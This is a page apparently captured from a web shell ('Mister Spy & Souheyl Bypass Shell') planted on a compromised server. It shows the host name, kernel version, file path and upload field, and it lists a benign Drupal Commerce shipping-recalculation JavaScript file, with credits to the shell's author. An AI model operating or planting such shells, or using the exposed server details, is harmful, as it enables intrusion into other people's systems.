Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/store/web/modules/contrib/commerce_shipping/js/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/store/web/modules/contrib/commerce_shipping/js/shipping_checkout.js

/**
* DO NOT EDIT THIS FILE.
* See the following change record for more information,
* https://www.drupal.org/node/2815083
* @preserve
**/

(function (Drupal, drupalSettings, once) {
  Drupal.shippingRecalculate = {
    recalculateButtonSelector: '',
    submitButtonSelector: '[id^=edit-actions-next]',
    wrapper: '',
    onChange: function onChange(element) {
      var waitForAjaxComplete = function waitForAjaxComplete(element) {
        setTimeout(function () {
          if (element.disabled) {
            waitForAjaxComplete(element);
            return;
          }

          if (Drupal.shippingRecalculate.canRecalculateRates()) {
            Drupal.shippingRecalculate.recalculateRates();
          }
        }, 100, element);
      };

      waitForAjaxComplete(element);
    },
    init: function init(context) {
      var _this = this;

      var requiredInputs = document.getElementById(this.wrapper).querySelectorAll('input[required], select[required], input[type=checkbox]');

      if (requiredInputs.length) {
        once('shipping-recalculate', requiredInputs, context).forEach(function (element) {
          element.addEventListener('change', function (el) {
            _this.onChange(el.target);
          });
        });
      }
    },
    canRecalculateRates: function canRecalculateRates() {
      var canRecalculate = true;
      var requiredInputs = document.getElementById(this.wrapper).querySelectorAll('input[required], select[required]');
      Array.prototype.forEach.call(requiredInputs, function (el) {
        if (!el.value) {
          canRecalculate = false;
          return false;
        }
      });
      return canRecalculate;
    },
    recalculateRates: function recalculateRates() {
      var buttons = document.querySelectorAll(this.submitButtonSelector);

      if (buttons.length) {
        buttons[0].disabled = true;
      }

      document.getElementById(this.wrapper).querySelector(this.recalculateButtonSelector).dispatchEvent(new Event('mousedown'));
    }
  };
  Drupal.behaviors.shippingRatesRecalculate = {
    attach: function attach(context) {
      Drupal.shippingRecalculate.wrapper = drupalSettings.commerceShipping.wrapper;
      Drupal.shippingRecalculate.recalculateButtonSelector = drupalSettings.commerceShipping.recalculateButtonSelector;
      Drupal.shippingRecalculate.init(context);
    }
  };
})(Drupal, drupalSettings, once);

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net